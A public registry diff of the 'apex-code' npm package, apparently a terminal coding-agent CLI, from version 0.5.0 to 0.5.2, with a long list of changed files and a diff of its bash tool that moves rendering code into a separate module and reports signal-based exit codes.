apex-code 0.5.0 → 0.5.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +263 -5
- package/README.md +624 -0
- package/dist/bun/cli.d.ts +3 -1
- package/dist/bun/cli.d.ts.map +1 -1
- package/dist/bun/cli.js +3 -9
- package/dist/bun/cli.js.map +1 -1
- package/dist/bun/runtime-setup.d.ts +2 -0
- package/dist/bun/runtime-setup.d.ts.map +1 -0
- package/dist/bun/runtime-setup.js +9 -0
- package/dist/bun/runtime-setup.js.map +1 -0
- package/dist/bun/sandbox-env-setup.d.ts +2 -0
- package/dist/bun/sandbox-env-setup.d.ts.map +1 -0
- package/dist/bun/sandbox-env-setup.js +4 -0
- package/dist/bun/sandbox-env-setup.js.map +1 -0
- package/dist/cli/args.d.ts.map +1 -1
- package/dist/cli/args.js +16 -5
- package/dist/cli/args.js.map +1 -1
- package/dist/cli/config-selector.d.ts.map +1 -1
- package/dist/cli/config-selector.js +2 -1
- package/dist/cli/config-selector.js.map +1 -1
- package/dist/cli/file-processor.d.ts +1 -1
- package/dist/cli/file-processor.d.ts.map +1 -1
- package/dist/cli/file-processor.js.map +1 -1
- package/dist/cli/session-picker.d.ts +1 -1
- package/dist/cli/session-picker.d.ts.map +1 -1
- package/dist/cli/session-picker.js.map +1 -1
- package/dist/cli/setup.d.ts +2 -0
- package/dist/cli/setup.d.ts.map +1 -0
- package/dist/cli/setup.js +13 -0
- package/dist/cli/setup.js.map +1 -0
- package/dist/config.d.ts +1 -0
- package/dist/config.d.ts.map +1 -1
- package/dist/config.js +1 -0
- package/dist/config.js.map +1 -1
- package/dist/core/agent-session-runtime.d.ts.map +1 -1
- package/dist/core/agent-session-runtime.js +16 -8
- package/dist/core/agent-session-runtime.js.map +1 -1
- package/dist/core/agent-session.d.ts +85 -15
- package/dist/core/agent-session.d.ts.map +1 -1
- package/dist/core/agent-session.js +685 -266
- package/dist/core/agent-session.js.map +1 -1
- package/dist/core/auth-storage.d.ts +4 -0
- package/dist/core/auth-storage.d.ts.map +1 -1
- package/dist/core/auth-storage.js +55 -0
- package/dist/core/auth-storage.js.map +1 -1
- package/dist/core/bug-report.d.ts +176 -0
- package/dist/core/bug-report.d.ts.map +1 -0
- package/dist/core/bug-report.js +291 -0
- package/dist/core/bug-report.js.map +1 -0
- package/dist/core/cache-stats.d.ts.map +1 -1
- package/dist/core/cache-stats.js +12 -1
- package/dist/core/cache-stats.js.map +1 -1
- package/dist/core/cache-warmer.d.ts +103 -0
- package/dist/core/cache-warmer.d.ts.map +1 -0
- package/dist/core/cache-warmer.js +356 -0
- package/dist/core/cache-warmer.js.map +1 -0
- package/dist/core/compaction/branch-summarization.d.ts +1 -1
- package/dist/core/compaction/branch-summarization.d.ts.map +1 -1
- package/dist/core/compaction/branch-summarization.js +4 -3
- package/dist/core/compaction/branch-summarization.js.map +1 -1
- package/dist/core/compaction/compaction.d.ts +5 -3
- package/dist/core/compaction/compaction.d.ts.map +1 -1
- package/dist/core/compaction/compaction.js +163 -66
- package/dist/core/compaction/compaction.js.map +1 -1
- package/dist/core/context/pipeline.d.ts +8 -8
- package/dist/core/context/pipeline.d.ts.map +1 -1
- package/dist/core/context/pipeline.js +21 -12
- package/dist/core/context/pipeline.js.map +1 -1
- package/dist/core/crash-log.d.ts +27 -0
- package/dist/core/crash-log.d.ts.map +1 -0
- package/dist/core/crash-log.js +139 -0
- package/dist/core/crash-log.js.map +1 -0
- package/dist/core/export-html/template.js +6 -1
- package/dist/core/extensions/index.d.ts +1 -1
- package/dist/core/extensions/index.d.ts.map +1 -1
- package/dist/core/extensions/index.js.map +1 -1
- package/dist/core/extensions/jiti-loader.d.ts +2 -0
- package/dist/core/extensions/jiti-loader.d.ts.map +1 -0
- package/dist/core/extensions/jiti-loader.js +4 -0
- package/dist/core/extensions/jiti-loader.js.map +1 -0
- package/dist/core/extensions/jiti-static-loader.d.ts +2 -0
- package/dist/core/extensions/jiti-static-loader.d.ts.map +1 -0
- package/dist/core/extensions/jiti-static-loader.js +4 -0
- package/dist/core/extensions/jiti-static-loader.js.map +1 -0
- package/dist/core/extensions/loader.d.ts.map +1 -1
- package/dist/core/extensions/loader.js +40 -59
- package/dist/core/extensions/loader.js.map +1 -1
- package/dist/core/extensions/runner.d.ts +24 -8
- package/dist/core/extensions/runner.d.ts.map +1 -1
- package/dist/core/extensions/runner.js +195 -72
- package/dist/core/extensions/runner.js.map +1 -1
- package/dist/core/extensions/types.d.ts +142 -55
- package/dist/core/extensions/types.d.ts.map +1 -1
- package/dist/core/extensions/types.js.map +1 -1
- package/dist/core/extensions/virtual-modules.d.ts +3 -0
- package/dist/core/extensions/virtual-modules.d.ts.map +1 -0
- package/dist/core/extensions/virtual-modules.js +41 -0
- package/dist/core/extensions/virtual-modules.js.map +1 -0
- package/dist/core/extensions/wrapper.d.ts.map +1 -1
- package/dist/core/extensions/wrapper.js +1 -20
- package/dist/core/extensions/wrapper.js.map +1 -1
- package/dist/core/http-dispatcher.d.ts.map +1 -1
- package/dist/core/http-dispatcher.js +2 -0
- package/dist/core/http-dispatcher.js.map +1 -1
- package/dist/core/index.d.ts +2 -1
- package/dist/core/index.d.ts.map +1 -1
- package/dist/core/index.js.map +1 -1
- package/dist/core/keybindings.d.ts +6 -1
- package/dist/core/keybindings.d.ts.map +1 -1
- package/dist/core/keybindings.js +5 -1
- package/dist/core/keybindings.js.map +1 -1
- package/dist/core/messages.d.ts +1 -1
- package/dist/core/messages.d.ts.map +1 -1
- package/dist/core/messages.js +1 -0
- package/dist/core/messages.js.map +1 -1
- package/dist/core/model-config.d.ts +168 -20
- package/dist/core/model-config.d.ts.map +1 -1
- package/dist/core/model-config.js +44 -18
- package/dist/core/model-config.js.map +1 -1
- package/dist/core/model-registry.d.ts +5 -1
- package/dist/core/model-registry.d.ts.map +1 -1
- package/dist/core/model-registry.js +8 -0
- package/dist/core/model-registry.js.map +1 -1
- package/dist/core/model-resolver.d.ts.map +1 -1
- package/dist/core/model-resolver.js +4 -3
- package/dist/core/model-resolver.js.map +1 -1
- package/dist/core/model-runtime.d.ts +1 -0
- package/dist/core/model-runtime.d.ts.map +1 -1
- package/dist/core/model-runtime.js +12 -6
- package/dist/core/model-runtime.js.map +1 -1
- package/dist/core/permissions/store.d.ts.map +1 -1
- package/dist/core/permissions/store.js +11 -8
- package/dist/core/permissions/store.js.map +1 -1
- package/dist/core/prompt-templates.d.ts +6 -1
- package/dist/core/prompt-templates.d.ts.map +1 -1
- package/dist/core/prompt-templates.js +61 -35
- package/dist/core/prompt-templates.js.map +1 -1
- package/dist/core/provider-composer.d.ts +4 -2
- package/dist/core/provider-composer.d.ts.map +1 -1
- package/dist/core/provider-composer.js +29 -2
- package/dist/core/provider-composer.js.map +1 -1
- package/dist/core/radius.d.ts +3 -0
- package/dist/core/radius.d.ts.map +1 -1
- package/dist/core/radius.js +6 -0
- package/dist/core/radius.js.map +1 -1
- package/dist/core/resource-loader.d.ts.map +1 -1
- package/dist/core/resource-loader.js +6 -2
- package/dist/core/resource-loader.js.map +1 -1
- package/dist/core/sdk.d.ts.map +1 -1
- package/dist/core/sdk.js +63 -42
- package/dist/core/sdk.js.map +1 -1
- package/dist/core/session-export.d.ts +6 -2
- package/dist/core/session-export.d.ts.map +1 -1
- package/dist/core/session-export.js +14 -13
- package/dist/core/session-export.js.map +1 -1
- package/dist/core/session-manager.d.ts +66 -15
- package/dist/core/session-manager.d.ts.map +1 -1
- package/dist/core/session-manager.js +295 -115
- package/dist/core/session-manager.js.map +1 -1
- package/dist/core/settings-manager.d.ts +27 -4
- package/dist/core/settings-manager.d.ts.map +1 -1
- package/dist/core/settings-manager.js +55 -7
- package/dist/core/settings-manager.js.map +1 -1
- package/dist/core/skills.d.ts +1 -1
- package/dist/core/skills.d.ts.map +1 -1
- package/dist/core/skills.js +5 -4
- package/dist/core/skills.js.map +1 -1
- package/dist/core/slash-commands.d.ts.map +1 -1
- package/dist/core/slash-commands.js +1 -0
- package/dist/core/slash-commands.js.map +1 -1
- package/dist/core/system-prompt.d.ts +49 -6
- package/dist/core/system-prompt.d.ts.map +1 -1
- package/dist/core/system-prompt.js +140 -79
- package/dist/core/system-prompt.js.map +1 -1
- package/dist/core/tools/bash.d.ts +7 -8
- package/dist/core/tools/bash.d.ts.map +1 -1
- package/dist/core/tools/bash.js +20 -115
- package/dist/core/tools/bash.js.map +1 -1
- package/dist/core/tools/edit.d.ts +1 -12
- package/dist/core/tools/edit.d.ts.map +1 -1
- package/dist/core/tools/edit.js +6 -204
- package/dist/core/tools/edit.js.map +1 -1
- package/dist/core/tools/find.d.ts.map +1 -1
- package/dist/core/tools/find.js +4 -55
- package/dist/core/tools/find.js.map +1 -1
- package/dist/core/tools/grep.d.ts.map +1 -1
- package/dist/core/tools/grep.js +4 -60
- package/dist/core/tools/grep.js.map +1 -1
- package/dist/core/tools/ls.d.ts.map +1 -1
- package/dist/core/tools/ls.js +4 -49
- package/dist/core/tools/ls.js.map +1 -1
- package/dist/core/tools/read.d.ts +4 -1
- package/dist/core/tools/read.d.ts.map +1 -1
- package/dist/core/tools/read.js +10 -125
- package/dist/core/tools/read.js.map +1 -1
- package/dist/core/tools/renderers/bash.d.ts +18 -0
- package/dist/core/tools/renderers/bash.d.ts.map +1 -0
- package/dist/core/tools/renderers/bash.js +126 -0
- package/dist/core/tools/renderers/bash.js.map +1 -0
- package/dist/core/tools/renderers/edit.d.ts +23 -0
- package/dist/core/tools/renderers/edit.d.ts.map +1 -0
- package/dist/core/tools/renderers/edit.js +207 -0
- package/dist/core/tools/renderers/edit.js.map +1 -0
- package/dist/core/tools/renderers/find.d.ts +10 -0
- package/dist/core/tools/renderers/find.d.ts.map +1 -0
- package/dist/core/tools/renderers/find.js +64 -0
- package/dist/core/tools/renderers/find.js.map +1 -0
- package/dist/core/tools/renderers/grep.d.ts +10 -0
- package/dist/core/tools/renderers/grep.d.ts.map +1 -0
- package/dist/core/tools/renderers/grep.js +69 -0
- package/dist/core/tools/renderers/grep.js.map +1 -0
- package/dist/core/tools/renderers/index.d.ts +34 -0
- package/dist/core/tools/renderers/index.d.ts.map +1 -0
- package/dist/core/tools/renderers/index.js +47 -0
- package/dist/core/tools/renderers/index.js.map +1 -0
- package/dist/core/tools/renderers/ls.d.ts +10 -0
- package/dist/core/tools/renderers/ls.d.ts.map +1 -0
- package/dist/core/tools/renderers/ls.js +58 -0
- package/dist/core/tools/renderers/ls.js.map +1 -0
- package/dist/core/tools/renderers/read.d.ts +11 -0
- package/dist/core/tools/renderers/read.d.ts.map +1 -0
- package/dist/core/tools/renderers/read.js +132 -0
- package/dist/core/tools/renderers/read.js.map +1 -0
- package/dist/core/tools/renderers/write.d.ts +10 -0
- package/dist/core/tools/renderers/write.d.ts.map +1 -0
- package/dist/core/tools/renderers/write.js +152 -0
- package/dist/core/tools/renderers/write.js.map +1 -0
- package/dist/core/tools/write.d.ts.map +1 -1
- package/dist/core/tools/write.js +6 -146
- package/dist/core/tools/write.js.map +1 -1
- package/dist/core/usage-totals.d.ts +1 -1
- package/dist/core/usage-totals.d.ts.map +1 -1
- package/dist/core/usage-totals.js +5 -1
- package/dist/core/usage-totals.js.map +1 -1
- package/dist/extensions/llama/client.d.ts +2 -0
- package/dist/extensions/llama/client.d.ts.map +1 -1
- package/dist/extensions/llama/client.js +7 -3
- package/dist/extensions/llama/client.js.map +1 -1
- package/dist/extensions/llama/provider.d.ts.map +1 -1
- package/dist/extensions/llama/provider.js +20 -5
- package/dist/extensions/llama/provider.js.map +1 -1
- package/dist/index.d.ts +5 -4
- package/dist/index.d.ts.map +1 -1
- package/dist/index.js +1 -1
- package/dist/index.js.map +1 -1
- package/dist/main.d.ts.map +1 -1
- package/dist/main.js +21 -13
- package/dist/main.js.map +1 -1
- package/dist/modes/interactive/bug-report.d.ts +16 -0
- package/dist/modes/interactive/bug-report.d.ts.map +1 -0
- package/dist/modes/interactive/bug-report.js +167 -0
- package/dist/modes/interactive/bug-report.js.map +1 -0
- package/dist/modes/interactive/chat-viewport.d.ts +20 -0
- package/dist/modes/interactive/chat-viewport.d.ts.map +1 -0
- package/dist/modes/interactive/chat-viewport.js +28 -0
- package/dist/modes/interactive/chat-viewport.js.map +1 -0
- package/dist/modes/interactive/components/assistant-message.d.ts +7 -0
- package/dist/modes/interactive/components/assistant-message.d.ts.map +1 -1
- package/dist/modes/interactive/components/assistant-message.js +63 -17
- package/dist/modes/interactive/components/assistant-message.js.map +1 -1
- package/dist/modes/interactive/components/branch-summary-message.d.ts.map +1 -1
- package/dist/modes/interactive/components/branch-summary-message.js +12 -5
- package/dist/modes/interactive/components/branch-summary-message.js.map +1 -1
- package/dist/modes/interactive/components/compaction-summary-message.d.ts.map +1 -1
- package/dist/modes/interactive/components/compaction-summary-message.js +12 -5
- package/dist/modes/interactive/components/compaction-summary-message.js.map +1 -1
- package/dist/modes/interactive/components/custom-editor.d.ts +12 -0
- package/dist/modes/interactive/components/custom-editor.d.ts.map +1 -1
- package/dist/modes/interactive/components/custom-editor.js +38 -0
- package/dist/modes/interactive/components/custom-editor.js.map +1 -1
- package/dist/modes/interactive/components/error-summary.d.ts +11 -0
- package/dist/modes/interactive/components/error-summary.d.ts.map +1 -0
- package/dist/modes/interactive/components/error-summary.js +31 -0
- package/dist/modes/interactive/components/error-summary.js.map +1 -0
- package/dist/modes/interactive/components/extension-editor.d.ts +4 -1
- package/dist/modes/interactive/components/extension-editor.d.ts.map +1 -1
- package/dist/modes/interactive/components/extension-editor.js +6 -1
- package/dist/modes/interactive/components/extension-editor.js.map +1 -1
- package/dist/modes/interactive/components/extension-input.d.ts +2 -0
- package/dist/modes/interactive/components/extension-input.d.ts.map +1 -1
- package/dist/modes/interactive/components/extension-input.js +6 -0
- package/dist/modes/interactive/components/extension-input.js.map +1 -1
- package/dist/modes/interactive/components/extension-selector.d.ts +2 -0
- package/dist/modes/interactive/components/extension-selector.d.ts.map +1 -1
- package/dist/modes/interactive/components/extension-selector.js +4 -0
- package/dist/modes/interactive/components/extension-selector.js.map +1 -1
- package/dist/modes/interactive/components/footer.d.ts.map +1 -1
- package/dist/modes/interactive/components/footer.js +4 -1
- package/dist/modes/interactive/components/footer.js.map +1 -1
- package/dist/modes/interactive/components/index.d.ts +1 -1
- package/dist/modes/interactive/components/index.d.ts.map +1 -1
- package/dist/modes/interactive/components/index.js.map +1 -1
- package/dist/modes/interactive/components/model-selector.d.ts.map +1 -1
- package/dist/modes/interactive/components/model-selector.js +3 -3
- package/dist/modes/interactive/components/model-selector.js.map +1 -1
- package/dist/modes/interactive/components/scoped-models-selector.d.ts.map +1 -1
- package/dist/modes/interactive/components/scoped-models-selector.js +13 -15
- package/dist/modes/interactive/components/scoped-models-selector.js.map +1 -1
- package/dist/modes/interactive/components/session-selector.d.ts +5 -5
- package/dist/modes/interactive/components/session-selector.d.ts.map +1 -1
- package/dist/modes/interactive/components/session-selector.js +74 -48
- package/dist/modes/interactive/components/session-selector.js.map +1 -1
- package/dist/modes/interactive/components/settings-selector.d.ts +5 -1
- package/dist/modes/interactive/components/settings-selector.d.ts.map +1 -1
- package/dist/modes/interactive/components/settings-selector.js +35 -10
- package/dist/modes/interactive/components/settings-selector.js.map +1 -1
- package/dist/modes/interactive/components/skill-invocation-message.d.ts.map +1 -1
- package/dist/modes/interactive/components/skill-invocation-message.js +11 -4
- package/dist/modes/interactive/components/skill-invocation-message.js.map +1 -1
- package/dist/modes/interactive/components/status-indicator.d.ts +3 -1
- package/dist/modes/interactive/components/status-indicator.d.ts.map +1 -1
- package/dist/modes/interactive/components/status-indicator.js +10 -3
- package/dist/modes/interactive/components/status-indicator.js.map +1 -1
- package/dist/modes/interactive/components/thinking-selector.d.ts.map +1 -1
- package/dist/modes/interactive/components/thinking-selector.js +6 -6
- package/dist/modes/interactive/components/thinking-selector.js.map +1 -1
- package/dist/modes/interactive/components/tool-execution.d.ts +27 -5
- package/dist/modes/interactive/components/tool-execution.d.ts.map +1 -1
- package/dist/modes/interactive/components/tool-execution.js +64 -42
- package/dist/modes/interactive/components/tool-execution.js.map +1 -1
- package/dist/modes/interactive/components/tree-selector.d.ts.map +1 -1
- package/dist/modes/interactive/components/tree-selector.js +9 -0
- package/dist/modes/interactive/components/tree-selector.js.map +1 -1
- package/dist/modes/interactive/components/trust-selector.d.ts.map +1 -1
- package/dist/modes/interactive/components/trust-selector.js +2 -2
- package/dist/modes/interactive/components/trust-selector.js.map +1 -1
- package/dist/modes/interactive/interactive-mode.d.ts +43 -29
- package/dist/modes/interactive/interactive-mode.d.ts.map +1 -1
- package/dist/modes/interactive/interactive-mode.js +431 -166
- package/dist/modes/interactive/interactive-mode.js.map +1 -1
- package/dist/modes/interactive/theme/dark.json +2 -1
- package/dist/modes/interactive/theme/light.json +2 -1
- package/dist/modes/interactive/theme/theme-controller.d.ts +1 -0
- package/dist/modes/interactive/theme/theme-controller.d.ts.map +1 -1
- package/dist/modes/interactive/theme/theme-controller.js +5 -0
- package/dist/modes/interactive/theme/theme-controller.js.map +1 -1
- package/dist/modes/interactive/theme/theme-json.d.ts +84 -0
- package/dist/modes/interactive/theme/theme-json.d.ts.map +1 -0
- package/dist/modes/interactive/theme/theme-json.js +130 -0
- package/dist/modes/interactive/theme/theme-json.js.map +1 -0
- package/dist/modes/interactive/theme/theme-schema.json +6 -2
- package/dist/modes/interactive/theme/theme.d.ts +14 -5
- package/dist/modes/interactive/theme/theme.d.ts.map +1 -1
- package/dist/modes/interactive/theme/theme.js +18 -119
- package/dist/modes/interactive/theme/theme.js.map +1 -1
- package/dist/modes/interactive/tui-renderer.d.ts +21 -0
- package/dist/modes/interactive/tui-renderer.d.ts.map +1 -0
- package/dist/modes/interactive/tui-renderer.js +66 -0
- package/dist/modes/interactive/tui-renderer.js.map +1 -0
- package/dist/modes/rpc/rpc-mode.d.ts.map +1 -1
- package/dist/modes/rpc/rpc-mode.js +2 -2
- package/dist/modes/rpc/rpc-mode.js.map +1 -1
- package/dist/package-manager-cli.d.ts.map +1 -1
- package/dist/package-manager-cli.js +31 -72
- package/dist/package-manager-cli.js.map +1 -1
- package/dist/testing/replay/recorded-provider.d.ts +2 -2
- package/dist/testing/replay/recorded-provider.d.ts.map +1 -1
- package/dist/testing/replay/recorded-provider.js +2 -5
- package/dist/testing/replay/recorded-provider.js.map +1 -1
- package/dist/testing/replay/runner.d.ts.map +1 -1
- package/dist/testing/replay/runner.js +0 -1
- package/dist/testing/replay/runner.js.map +1 -1
- package/dist/utils/clipboard-command.d.ts +7 -0
- package/dist/utils/clipboard-command.d.ts.map +1 -0
- package/dist/utils/clipboard-command.js +45 -0
- package/dist/utils/clipboard-command.js.map +1 -0
- package/dist/utils/clipboard-image.d.ts.map +1 -1
- package/dist/utils/clipboard-image.js +53 -81
- package/dist/utils/clipboard-image.js.map +1 -1
- package/dist/utils/clipboard.d.ts.map +1 -1
- package/dist/utils/clipboard.js +111 -121
- package/dist/utils/clipboard.js.map +1 -1
- package/dist/utils/exif-orientation.d.ts.map +1 -1
- package/dist/utils/exif-orientation.js +2 -3
- package/dist/utils/exif-orientation.js.map +1 -1
- package/dist/utils/mime.d.ts.map +1 -1
- package/dist/utils/mime.js +1 -1
- package/dist/utils/mime.js.map +1 -1
- package/dist/utils/syntax-highlight.d.ts.map +1 -1
- package/dist/utils/syntax-highlight.js +21 -21
- package/dist/utils/syntax-highlight.js.map +1 -1
- package/dist/utils/tool-result-images.d.ts +3 -1
- package/dist/utils/tool-result-images.d.ts.map +1 -1
- package/dist/utils/tool-result-images.js +4 -1
- package/dist/utils/tool-result-images.js.map +1 -1
- package/dist/utils/tools-manager.d.ts.map +1 -1
- package/dist/utils/tools-manager.js +11 -2
- package/dist/utils/tools-manager.js.map +1 -1
- package/dist/utils/wsl.d.ts +3 -0
- package/dist/utils/wsl.d.ts.map +1 -0
- package/dist/utils/wsl.js +15 -0
- package/dist/utils/wsl.js.map +1 -0
- package/dist/utils/zip.d.ts +7 -0
- package/dist/utils/zip.d.ts.map +1 -0
- package/dist/utils/zip.js +60 -0
- package/dist/utils/zip.js.map +1 -0
- package/docs/cli-integration.md +107 -0
- package/docs/cli.md +269 -0
- package/docs/compaction.md +73 -24
- package/docs/configuration.md +45 -0
- package/docs/containerization.md +22 -21
- package/docs/custom-provider.md +21 -12
- package/docs/development.md +19 -0
- package/docs/docs.json +139 -95
- package/docs/extensions.md +243 -371
- package/docs/how-pi-works.md +49 -0
- package/docs/images/interactive-mode.png +0 -0
- package/docs/index.md +3 -3
- package/docs/json.md +7 -3
- package/docs/keybindings.md +57 -54
- package/docs/llama-cpp.md +2 -2
- package/docs/message-types.md +261 -0
- package/docs/models.md +103 -49
- package/docs/packages.md +49 -47
- package/docs/prompt-templates.md +29 -56
- package/docs/providers.md +91 -139
- package/docs/quickstart.md +42 -14
- package/docs/rpc-commands.md +854 -0
- package/docs/rpc-extension-ui.md +200 -0
- package/docs/rpc.md +121 -223
- package/docs/sdk.md +99 -124
- package/docs/security.md +7 -7
- package/docs/session-format.md +85 -82
- package/docs/sessions.md +41 -57
- package/docs/settings.md +94 -87
- package/docs/shell-aliases.md +68 -3
- package/docs/skills.md +62 -49
- package/docs/slash-commands.md +60 -0
- package/docs/terminal-setup.md +86 -55
- package/docs/termux.md +65 -75
- package/docs/themes.md +64 -86
- package/docs/tmux.md +29 -7
- package/docs/tui.md +67 -122
- package/docs/usage.md +31 -42
- package/docs/windows.md +41 -13
- package/examples/README.md +16 -2
- package/examples/extensions/README.md +0 -1
- package/examples/extensions/custom-provider-anthropic/index.ts +18 -12
- package/examples/extensions/custom-provider-anthropic/package-lock.json +2 -2
- package/examples/extensions/custom-provider-anthropic/package.json +1 -1
- package/examples/extensions/custom-provider-gitlab-duo/index.ts +2 -2
- package/examples/extensions/custom-provider-gitlab-duo/package.json +1 -1
- package/examples/extensions/dynamic-resources/dynamic.json +2 -0
- package/examples/extensions/gondolin/package-lock.json +2 -2
- package/examples/extensions/gondolin/package.json +1 -1
- package/examples/extensions/prompt-customizer.ts +19 -67
- package/examples/extensions/sandbox/package-lock.json +2 -2
- package/examples/extensions/sandbox/package.json +1 -1
- package/examples/extensions/with-deps/package-lock.json +2 -2
- package/examples/extensions/with-deps/package.json +1 -1
- package/examples/plugins/pi-example-plugin/README.md +38 -0
- package/examples/plugins/pi-example-plugin/package.json +10 -0
- package/examples/plugins/pi-example-plugin/src/contract.ts +13 -0
- package/examples/plugins/pi-example-plugin/src/session.ts +24 -0
- package/examples/plugins/pi-example-plugin/src/tui.ts +31 -0
- package/examples/rpc-client.ts +35 -0
- package/examples/rpc-extension-ui.ts +25 -5
- package/examples/sdk/README.md +1 -1
- package/npm-shrinkwrap.json +861 -513
- package/package.json +27 -18
- package/dist/bun/register-bedrock.d.ts +0 -2
- package/dist/bun/register-bedrock.d.ts.map +0 -1
- package/dist/bun/register-bedrock.js +0 -4
- package/dist/bun/register-bedrock.js.map +0 -1
- package/dist/cli/experimental/auth.d.ts +0 -16
- package/dist/cli/experimental/auth.d.ts.map +0 -1
- package/dist/cli/experimental/auth.js +0 -13
- package/dist/cli/experimental/auth.js.map +0 -1
- package/dist/cli/experimental/cli.d.ts +0 -6
- package/dist/cli/experimental/cli.d.ts.map +0 -1
- package/dist/cli/experimental/cli.js +0 -5
- package/dist/cli/experimental/cli.js.map +0 -1
- package/dist/cli/experimental/command-options.d.ts +0 -17
- package/dist/cli/experimental/command-options.d.ts.map +0 -1
- package/dist/cli/experimental/command-options.js +0 -35
- package/dist/cli/experimental/command-options.js.map +0 -1
- package/dist/cli/experimental/command.d.ts +0 -63
- package/dist/cli/experimental/command.d.ts.map +0 -1
- package/dist/cli/experimental/command.js +0 -130
- package/dist/cli/experimental/command.js.map +0 -1
- package/dist/cli/experimental/commands/client.d.ts +0 -13
- package/dist/cli/experimental/commands/client.d.ts.map +0 -1
- package/dist/cli/experimental/commands/client.js +0 -25
- package/dist/cli/experimental/commands/client.js.map +0 -1
- package/dist/cli/experimental/commands/pi.d.ts +0 -15
- package/dist/cli/experimental/commands/pi.d.ts.map +0 -1
- package/dist/cli/experimental/commands/pi.js +0 -28
- package/dist/cli/experimental/commands/pi.js.map +0 -1
- package/dist/cli/experimental/commands/server.d.ts +0 -13
- package/dist/cli/experimental/commands/server.d.ts.map +0 -1
- package/dist/cli/experimental/commands/server.js +0 -25
- package/dist/cli/experimental/commands/server.js.map +0 -1
- package/dist/cli/experimental/transport-address.d.ts +0 -10
- package/dist/cli/experimental/transport-address.d.ts.map +0 -1
- package/dist/cli/experimental/transport-address.js +0 -38
- package/dist/cli/experimental/transport-address.js.map +0 -1
- package/dist/client/index.d.ts +0 -3
- package/dist/client/index.d.ts.map +0 -1
- package/dist/client/index.js +0 -3
- package/dist/client/index.js.map +0 -1
- package/dist/client/remote-session.d.ts +0 -53
- package/dist/client/remote-session.d.ts.map +0 -1
- package/dist/client/remote-session.js +0 -340
- package/dist/client/remote-session.js.map +0 -1
- package/dist/client/transcript.d.ts +0 -12
- package/dist/client/transcript.d.ts.map +0 -1
- package/dist/client/transcript.js +0 -98
- package/dist/client/transcript.js.map +0 -1
- package/dist/utils/clipboard-native.d.ts +0 -11
- package/dist/utils/clipboard-native.d.ts.map +0 -1
- package/dist/utils/clipboard-native.js +0 -20
- package/dist/utils/clipboard-native.js.map +0 -1
package/dist/core/tools/bash.js
CHANGED
|
@@ -1,12 +1,9 @@
|
|
|
1
1
|
import { constants } from "node:fs";
|
|
2
2
|
import { access as fsAccess } from "node:fs/promises";
|
|
3
|
-
import {
|
|
3
|
+
import { constants as osConstants } from "node:os";
|
|
4
4
|
import { ToolExecutionError } from "apex-code-agent-core";
|
|
5
5
|
import { spawn } from "child_process";
|
|
6
6
|
import { Type } from "typebox";
|
|
7
|
-
import { formatHiddenLines, previewLineCount } from "../../modes/interactive/components/keybinding-hints.js";
|
|
8
|
-
import { truncateToVisualLines } from "../../modes/interactive/components/visual-truncate.js";
|
|
9
|
-
import { theme } from "../../modes/interactive/theme/theme.js";
|
|
10
7
|
import { waitForChildProcess } from "../../utils/child-process.js";
|
|
11
8
|
import { getShellConfig, getShellEnv, killProcessTree, trackDetachedChildPid, untrackDetachedChildPid, } from "../../utils/shell.js";
|
|
12
9
|
import { setApexEnvironment } from "../environment.js";
|
|
@@ -15,7 +12,7 @@ import { createBackgroundShellRegistry } from "./background-shell.js";
|
|
|
15
12
|
import { classifyBashCommand } from "./bash-command-segments.js";
|
|
16
13
|
import { toolUnion } from "./contract.js";
|
|
17
14
|
import { OutputAccumulator } from "./output-accumulator.js";
|
|
18
|
-
import {
|
|
15
|
+
import { BASH_UPDATE_THROTTLE_MS, createShellRenderers } from "./renderers/bash.js";
|
|
19
16
|
import { parseShellOperation } from "./shell-operation.js";
|
|
20
17
|
import { wrapToolDefinition } from "./tool-definition-wrapper.js";
|
|
21
18
|
import { DEFAULT_MAX_BYTES, DEFAULT_MAX_LINES, formatSize } from "./truncate.js";
|
|
@@ -250,8 +247,11 @@ export function createLocalShellOperations(shellName, resolveShellConfig) {
|
|
|
250
247
|
if (timedOut) {
|
|
251
248
|
throw new Error(`timeout:${timeoutMs / 1000}`);
|
|
252
249
|
}
|
|
250
|
+
// A signal-killed shell has no exit code. Use the standard shell convention so
|
|
251
|
+
// callers do not mistake the termination for a successful command.
|
|
252
|
+
const signalCode = child.signalCode;
|
|
253
253
|
return {
|
|
254
|
-
exitCode,
|
|
254
|
+
exitCode: exitCode ?? (signalCode ? 128 + (osConstants.signals[signalCode] ?? 0) : 1),
|
|
255
255
|
executable: shellConfig.shell,
|
|
256
256
|
argv: commandFromStdin ? [...shellConfig.args] : [...shellConfig.args, command],
|
|
257
257
|
};
|
|
@@ -329,101 +329,11 @@ function resolveSpawnContext(command, cwd, spawnHook, exposeSessionEnvironment,
|
|
|
329
329
|
const baseContext = { command, cwd, env };
|
|
330
330
|
return spawnHook ? spawnHook(baseContext) : baseContext;
|
|
331
331
|
}
|
|
332
|
-
|
|
333
|
-
|
|
334
|
-
|
|
335
|
-
|
|
336
|
-
|
|
337
|
-
cachedLines: undefined,
|
|
338
|
-
cachedSkipped: undefined,
|
|
339
|
-
};
|
|
340
|
-
}
|
|
341
|
-
export function formatShellCall(args, prompt) {
|
|
342
|
-
const invalid = () => theme.fg("toolTitle", theme.bold(`${prompt} ${invalidArgText(theme)}`));
|
|
343
|
-
const command = str(args?.command);
|
|
344
|
-
const handle = str(args?.handle);
|
|
345
|
-
if (command === null || handle === null)
|
|
346
|
-
return invalid();
|
|
347
|
-
const parsed = parseShellOperation(args ?? {});
|
|
348
|
-
if (!parsed.ok) {
|
|
349
|
-
// Arguments still arriving name no operation yet, so they render as a
|
|
350
|
-
// placeholder. Anything that already names one and still fails to parse is
|
|
351
|
-
// rejected at execution, and naming its command would describe something
|
|
352
|
-
// that never runs.
|
|
353
|
-
if (!command && !handle) {
|
|
354
|
-
return theme.fg("toolTitle", theme.bold(`${prompt} ${theme.fg("toolOutput", "...")}`));
|
|
355
|
-
}
|
|
356
|
-
return invalid();
|
|
357
|
-
}
|
|
358
|
-
if (parsed.operation.kind !== "run") {
|
|
359
|
-
const suffix = parsed.operation.kind === "kill" ? " · kill" : "";
|
|
360
|
-
return theme.fg("toolTitle", theme.bold(`${prompt} ${parsed.operation.handle}${suffix}`));
|
|
361
|
-
}
|
|
362
|
-
const timeoutSuffix = parsed.operation.timeout ? theme.fg("muted", ` (timeout ${parsed.operation.timeout}s)`) : "";
|
|
363
|
-
return theme.fg("toolTitle", theme.bold(`${prompt} ${parsed.operation.command}`)) + timeoutSuffix;
|
|
364
|
-
}
|
